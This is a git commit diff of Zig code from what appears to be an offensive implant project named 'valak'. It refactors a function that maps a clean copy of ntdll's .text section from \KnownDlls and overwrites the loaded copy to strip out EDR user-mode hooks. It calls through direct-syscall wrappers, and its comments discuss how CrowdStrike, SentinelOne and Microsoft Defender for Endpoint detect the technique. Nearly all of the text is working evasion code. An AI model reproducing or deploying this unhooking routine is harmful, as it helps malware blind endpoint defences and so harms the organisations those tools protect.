valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids

This commit is contained in:
2026-07-18 09:30:00 +01:00
committed by JYenn
parent cc60a24d98
commit a1f467199f
17 changed files with 552 additions and 910 deletions
+31 -37
View File
@@ -1,42 +1,36 @@
// Maps clean .text from \KnownDlls\ntdll.dll section object, overwrites EDR hooks.
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const syscall = @import("syscall.zig");
const resolve = @import("resolve.zig");
const win = @import("win32.zig");
const pe = @import("pe.zig");
var g_unhooked: bool = false;
// Map clean .text from \KnownDlls\ntdll.dll section object, overwrite EDR hooks.
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
pub fn unhookNtdll() void {
if (g_unhooked) return;
g_unhooked = true;
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
const our_bytes = @as([*]u8, @ptrCast(our_base));
const our_bytes: [*]u8 = @ptrCast(our_base);
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes)));
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(our_bytes));
if (dos.e_magic != 0x5A4D) return;
const nt = @as(*align(1) extern struct {
Signature: u32,
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 },
}, @ptrCast(@alignCast(our_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != 0x00004550) return;
const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
our_bytes + @as(usize, @intCast(dos.e_lfanew)),
));
if (nt_hdrs.Signature != 0x00004550) return;
var text_va: usize = 0;
var text_size: usize = 0;
const section_off = dos.e_lfanew + 4 + 20 + 240;
const sections = @as([*]align(1) extern struct {
Name: [8]u8,
VirtualSize: u32,
VirtualAddress: u32,
pad: [20]u8,
Characteristics: u32,
}, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off))));
for (0..nt.FileHeader.NumberOfSections) |i| {
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(our_bytes + section_off));
for (0..nt_hdrs.FileHeader.NumberOfSections) |i| {
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
text_va = sections[i].VirtualAddress;
text_size = sections[i].VirtualSize;
@@ -46,23 +40,23 @@ pub fn unhookNtdll() void {
if (text_va == 0 or text_size == 0) return;
const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
var us: win.UNICODE_STRING = .{
.Length = (@sizeOf(@TypeOf(name)) - 2),
var us: nt.UNICODE_STRING = .{
.Length = @sizeOf(@TypeOf(name)) - @sizeOf(u16),
.MaximumLength = @sizeOf(@TypeOf(name)),
.Buffer = @ptrCast(@constCast(&name)),
};
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);
oa.ObjectName = &us;
oa.Attributes = win.OBJ_CASE_INSENSITIVE;
oa.Attributes = nt.OBJ_CASE_INSENSITIVE;
var section_handle: win.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_open_section(&section_handle, win.SECTION_MAP_READ, &oa)))
var section_handle: windows.HANDLE = undefined;
if (!nt.NT_SUCCESS(syscall.nt_open_section(&section_handle, nt.SECTION_MAP_READ, &oa)))
return;
defer _ = syscall.nt_close(section_handle);
var view_base: ?*anyopaque = null;
var view_size: win.SIZE_T = 0;
var view_size: windows.SIZE_T = 0;
_ = syscall.nt_map_view_of_section(
section_handle,
syscall.nt_current_process(),
@@ -71,23 +65,23 @@ pub fn unhookNtdll() void {
0,
null,
&view_size,
2, // ViewUnmap = 2
2,
0,
win.PAGE_READONLY,
nt.PAGE_READONLY,
);
if (view_base != null and view_size >= text_size) {
const clean_base = @as([*]u8, @ptrCast(view_base));
const clean_base: [*]const u8 = @ptrCast(view_base);
const our_text = our_bytes[text_va .. text_va + text_size];
var region_size: win.SIZE_T = text_size;
var old_prot: win.DWORD = 0;
var region_size: windows.SIZE_T = text_size;
var old_prot: windows.DWORD = 0;
var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory(
if (!nt.NT_SUCCESS(syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&base_ptr,
&region_size,
win.PAGE_READWRITE,
nt.PAGE_READWRITE,
&old_prot,
))) return;
@@ -99,7 +93,7 @@ pub fn unhookNtdll() void {
syscall.nt_current_process(),
&base_ptr,
&region_size,
win.PAGE_EXECUTE_READ,
nt.PAGE_EXECUTE_READ,
&old_prot,
);
}